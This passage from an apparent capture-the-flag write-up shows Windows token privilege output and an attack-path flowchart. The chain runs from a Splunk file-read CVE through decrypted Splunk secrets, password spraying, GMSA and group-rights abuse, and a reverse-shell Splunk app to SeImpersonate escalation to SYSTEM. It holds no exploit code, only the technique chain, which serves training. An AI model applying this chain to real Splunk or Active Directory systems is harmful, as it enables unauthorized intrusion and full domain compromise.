NT SERVICE\PlugPlay                               Well-known group         S-1-5-80-1981970923-922788642-3535304421-2999920573-318732269 Enabled by default, Enabled group, Group owner,
NT SERVICE\Power                                  Well-known group         S-1-5-80-2343416411-2961288913-598565901-392633850-2111459193 Enabled by default, Enabled group, Group owner,
NT SERVICE\SystemEventsBroker                     Well-known group         S-1-5-80-1662832393-3268938575-4001313665-1200257238-783911988 Enabled by default, Group owner,
LOCAL                                             Well-known group         S-1-2-0                                       Mandatory group, Enabled by default, Enabled group,
BUILTIN\Administrators                            Alias                    S-1-5-32-544                                  Enabled by default, Enabled group, Group owner,
 
 
Privilege Name                Description                                       State
============================= ================================================= ===========================
SeAssignPrimaryTokenPrivilege Replace a process level token                     Disabled
SeLockMemoryPrivilege         Lock pages in memory                              Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process                Disabled
SeTcbPrivilege                Act as part of the operating system               Enabled
SeSecurityPrivilege           Manage auditing and security log                  Disabled
SeTakeOwnershipPrivilege      Take ownership of files or other objects          Disabled
SeLoadDriverPrivilege         Load and unload device drivers                    Disabled
SeSystemProfilePrivilege      Profile system performance                        Enabled
SeSystemtimePrivilege         Change the system time                            Disabled
SeProfileSingleProcessPrivilegeProfile single process                            Enabled
SeIncreaseBasePriorityPrivilegeIncrease scheduling priority                      Enabled
SeCreatePagefilePrivilege     Create a pagefile                                 Enabled
SeCreatePermanentPrivilege    Create permanent shared objects                   Enabled
SeBackupPrivilege             Back up files and directories                     Disabled
SeRestorePrivilege            Restore files and directories                     Disabled
SeShutdownPrivilege           Shut down the system                              Disabled
SeDebugPrivilege              Debug programs                                    Enabled
SeAuditPrivilege              Generate security audits                          Enabled
SeSystemEnvironmentPrivilege  Modify firmware environment values                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                          Enabled
SeUndockPrivilege             Remove computer from docking station              Disabled
SeManageVolumePrivilege       Perform volume maintenance tasks                  Disabled
SeImpersonatePrivilege        Impersonate a client after authentication         Enabled
SeCreateGlobalPrivilege       Create global objects                             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                    Enabled
SeTimeZonePrivilege           Change the time zone                              Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links                             Enabled
SeDelegateSessionUserImpersonatePrivilegeObtain an impersonation token for another user in the same sessionEnabled

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Splunk) -->|CVE-2024-36991| B(Read Local Files)
	B -->|Splunk Configuration| C(Encrypted Passwords & Secret)
	C -->|Decrypt Splunk Secrets| D(Access as paul.taylor)
end

subgraph "Privilege Escalation"
	D -->|Password Spraying| E(Shell as mark.adams)
	E -->|Modify GMSA| F(Access as HAZE-IT-BACKUP$)
	F -->|Modify Group for GenericAll| G(Shell as edward.martin)
	G -->|Access to Splunk backup| H(Encrypted Passwords & Secret)
	H -->|Decrypt Splunk Secrets| I(Access to Splunk Web UI)
	I -->|Deploy App with Reverse Shell| J(Shell as alexander.green)
	J -->|SeImpersonate| K(Shell as SYSTEM)
end

Footnotes

  1. Admin Manual

  2. What is the splunk.secret file

  3. Add member hosts using PowerShell